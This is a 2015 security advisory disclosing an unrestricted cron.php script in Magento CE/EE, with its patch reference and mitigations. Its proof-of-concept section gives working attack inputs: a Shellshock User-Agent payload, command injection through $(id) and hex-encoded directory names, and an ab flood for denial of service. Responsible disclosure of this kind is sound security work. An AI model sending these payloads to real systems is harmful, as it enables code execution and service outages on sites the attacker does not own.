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Follow @dawid_golunski ============================================= - Release date: 06.11.2015 - Discovered by: Dawid Golunski - Severity: Medium - eBay Magento ref.: APPSEC-1037 ============================================= I. VULNERABILITY ------------------------- eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS) eBay Magento EE <= 1.14.2.1 II. BACKGROUND ------------------------- - eBay Magento eCommerce http://magento.com/ "More than 240,000 merchants worldwide put their trust in our eCommerce software. Magento's eCommerce platform gives you the tools you need to attract more prospects, sell more products, and make more money. It's what we do. We're owned by eBay, so you know we're eCommerce experts" III. INTRODUCTION ------------------------- Default installation of ebay Magento eCommerce software comes with a cron.php which allows to manage scheduled tasks. The script is not protected by default and can be publicly accessed. The publicly exposed cron script poses some potential risks such as exploitation of the well known shellshock vulnerability on unpatched systems leading to code execution. The same script has another potential command execution vector that stems from inproper data sanitisation passed to a shell_exec function. Apart from the code execution vectors, the script could potentially be used to perform a DoS attack due to lack of locking mechanism that prevents the script from spawning multiple instances of other helper shell scripts. IV. DESCRIPTION ------------------------- A) Shellshock vector Magento cron.php script includes a command execution function that looks as follows: -----[ magento/cron.php ]----- ... try { if (stripos(PHP_OS, 'win') === false) { $options = getopt('m::'); if (isset($options['m'])) { if ($options['m'] == 'always') { $cronMode = 'always'; } elseif ($options['m'] == 'default') { $cronMode = 'default'; } else { Mage::throwException('Unrecognized cron mode was defined'); } } else if (!$isShellDisabled) { $fileName = basename(__FILE__); $baseDir = dirname(__FILE__); shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &"); shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &"); exit; } ... ------------------------------ As can be seen, the script runs shell_exec() that loads /bin/sh program which is usually a symlink to /bin/bash. Although the shellshock vulnerability should be patched, there have been reports of linux distributions that insufficiently patched the issue and remained vulnerable. Magento's cron.php could be used as exploit the shellshock vulnerability on unpatched systems which host Magento in CGI mode (which can be easily enabled via .htaccess file provided with Magento). B) Command injection The script fails to sanitise the input data coming from $baseDir variable. Input passed to shell execution functions should always be sanitised with escapeshellcmd / escapeshellarg PHP functions. Although not exploitable on its own, the lack of escaping could allow to inject some system commands on Magento hosting platforms which have a feature to create backups of directories with a specified name within the document root. If the provided hosting control panel allows to specify names of such backups, a user could potentially inject some malicious data within the directory name which could result in a command injection when cron.php is run from the backup directory. The command would execute upon the shell_exec() receiving the malicious data injected with the help of the $baseDir variable. C) Denial of Service As the script lacks any access control and a locking mechanism, it is possible to remotely request cron.php multiple times in order to make it spawn multiple instances of the cron.sh script. As a single execution of the script results in 2 cron.sh spawned processes, plus a separate CGI process (if website runs as CGI), an attacker could potentially overload the Magento site with multiple requests and create a Denial of Service condition by process exhaustion etc. V. PROOF OF CONCEPT ------------------------- A) Shellshock vector exploit Sending the following request to a CGI-enabled Magento site: GET /magento/cron.php HTTP/1.1 Host: victim_magento_site User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack will result in a command execution on shellshock affected systems. The resul of the above would be: victim$ ls -l /tmp/magento_cron_hack -rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack B) Command injection Due to lack of sanitisation, if a malicious Magento user had access to a backup facility, he could potenially create a backup of the magento directory with a command within the name , e.g.: $(id) The user could then request the cron.php script via the following request: GET /magento/$(id)/cron.php HTTP/1.1 Host: victim_magento_site Because of the shell_exec() function in the quoted sourcecode of cron.php: --- $baseDir = dirname(__FILE__); shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &"); --- it would cause the cron.php script to run the following command: /bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 & The command would run id program as soon as bash command expansion syntax of $() got evaluated. An attacker could also run more complex commands, by hex encoding disallowed characters within directory names (such as '/' directory separator). For example, he could run the command: touch /tmp/magento_exec by encoding it as follows: echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1} \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63 He could then execute it via a GET request of: GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1 which would execute: /bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 & resulting in creating the PoC file: victim$ ls -l /tmp/magento_exec -rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec C) Denial of Service By sending multiple requests to cron.php, for example using apache benchmark tool: attacker$ ab -n 500 -c 30 http://victim_magento_site/magento/cron.php attacker could exploit the lack of locking to spawn numerous processes, potentially leading to resource exhaustion and a DoS condition. The above command would result in creating multiple instances of the cron.php/cron.sh scripts on the target host: ... www-data 5529 0.2 1.3 287756 6872 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault www-data 5531 0.2 1.1 288000 5848 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault www-data 5533 0.2 1.2 288000 6432 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5535 0.3 1.2 288000 6484 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5537 0.3 1.5 288768 7740 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5539 0.3 1.3 287524 6956 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5541 0.3 1.4 288768 7168 ? Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5543 0.3 1.4 288288 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5546 0.3 1.4 288512 7188 ? Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways www-data 5885 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5886 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5887 0.0 0.0 17880 456 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5888 0.0 0.0 17880 440 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5889 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5890 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5891 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5899 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5900 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5901 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5904 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5907 0.0 0.0 17880 496 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5909 0.0 0.0 17880 500 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5910 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1 www-data 5912 0.0 0.0 17880 464 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 www-data 5913 0.0 0.0 17880 460 ? S 10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1 ... VI. BUSINESS IMPACT ------------------------- The issue has been rated as medium. Depending on the Magento hosting features and applied patches code execution could be possible which would increase the risks. VII. SYSTEMS AFFECTED ------------------------- The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain the vulnerable cron.php script. The Magento EE versions also contain this problem according to the vendor's advisory. VIII. SOLUTION ------------------------- eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch for it within the SUPEE-6788 patch bundle available on the official website. The patch adds sanitisation functions around the shell_exec() code however the cron script remains publicly accessible. It is recommended to protect the cron script by other means. For example, the script could require a key supplied together with a GET request to proceed with the execution which is commonly used with other major open source solutions. The easiest way would also be restricting acess to the script to only certain IPs or localhost within the web server configuration. IX. REFERENCES ------------------------- http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt Oficial eBay Magento website: http://magento.com/ Patch 'SUPEE-6788 Patch Bundle', addressing 'Potential remote code execution using Cron' (APPSEC-1037) is available at: https://magento.com/security/patches/supee-6788 X. CREDITS ------------------------- The vulnerabilities have been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- Nov 6th, 2015: Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. Follow @dawid_golunski <-- BACK TO legalhackers.com